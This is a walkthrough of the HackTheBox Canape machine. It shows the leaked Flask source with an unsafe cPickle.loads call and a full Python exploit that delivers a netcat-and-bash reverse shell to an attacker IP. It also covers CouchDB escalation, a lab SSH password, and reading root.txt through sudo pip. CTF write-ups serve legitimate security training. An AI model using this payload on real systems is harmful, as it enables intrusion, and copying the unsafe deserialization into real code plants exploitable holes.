Canape Box Writeup & Walkthrough – [HTB] – HackTheBox
This article demonstrates how to hack the Canape box on HackTheBox and obtain both user.txt and root.txt files.
Introduction
Canape is a challenge machine on the HackTheBox platform, an online arena where you can hone your penetration testing skills and collaborate with others who share similar interests. It features a plethora of continually updated challenges.
In this guide, we will explore how to compromise the Canape box and secure the user.txt and root.txt files.
Enumeration
Initially, we scan the ports, a common first step in interacting with any box.
The scan reveals that only the HTTP port 80/TCP is open, suggesting potential security vulnerabilities on the website.
Hack Canape Box
Obtain User.txt
First, open your browser and navigate to the website.
By enumerating the website, we discover a .git
folder, enabling us to extract the website’s source code using dvcs-ripper
.
Further analysis of the Git log reveals a security issue with the “check” function.
Develop Reverse Shell Payload
Here’s a snippet from the __init__.py
file:
import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5
app = Flask(__name__)
app.config.update(
DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
@app.errorhandler(404)
def page_not_found(e):
if random.randrange(0, 2) > 0:
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
else:
return render_template("index.html")
@app.route("/")
def index():
return render_template("index.html")
@app.route("/quotes")
def quotes():
quotes = []
for id in db:
quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
return render_template('quotes.html', entries=quotes)
WHITELIST = [
"homer",
"marge",
"bart",
"lisa",
"maggie",
"moe",
"carl",
"krusty"
]
@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None
if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest()
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True
return render_template("submit.html", error=error, success=success)
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
if __name__ == "__main__":
app.run()
The presence of __cPickle__
, a Python module for object serialization, combined with the following line in the check function:
item = cPickle.loads(data)
it indicates a Remote Code Execution (RCE) vulnerability.
Using the following payload:
import requests, os, cPickle, re, hashlib
class shell(object):
def __init__(self):
self.reverse_ip = "YourIPAddress"
self.reverse_port = "YourPort"
def __reduce__(self):
return (os.system, ("rm /tmp/shell; mknod /tmp/shell p; nc %s %s < /tmp/shell | /bin/bash > /tmp/shell" %(self.reverse_ip, self.reverse_port),))
character = "S'homer'\n"
quote = cPickle.dumps(shell())
if re.search('<strong>Success!</strong>', requests.post('http://10.10.10.70/submit', data={"character":character, "quote":quote}).text):
print 'Success'
p_id = hashlib.md5(character + quote).hexdigest()
print requests.post("http://10.10.10.70/check", data={"id":p_id}).text
We set up nc
to listen on a local port and deploy the payload to obtain a reverse shell.
Analyse Network
Next, we analyze the network connections using the netstat
command.
We identify three notable open ports: 5984, 5986, and 65535, with the latter running an SSH service and the former two hosting CouchDB services.
Get SSH Credential
We start by listing all databases.
There are six databases, and upon attempting to access the password database, however unfortunately, we are not able to access the database.
After searching, we found a Remote Privilege Escalation vulnerability in CouchDB. Using this exploit, we manage to access the password database.
Obtain User.txt
Executing the exploit gives us access to the password database.
We list the tables and finally retrieve the SSH password:
0B4jyA0xtytZi7esBNGp
Obtain Root.txt
For privilege escalation, we start by examining sudo
capabilities.
Notably, we can execute pip. One method is by creating a pip package to read root.txt, which I initially used. Alternatively, leveraging the -r
option of pip
, which reads from a specified requirements file, can achieve the same result.
We create a symbolic link to root.txt:
Executing the command with the -r
option allows us to read the file and obtain root.txt.
Summary
This box presents a challenging yet rewarding experience, particularly in understanding web exploitation. It took approximately four hours to complete, with significant time dedicated to creating a custom pip package.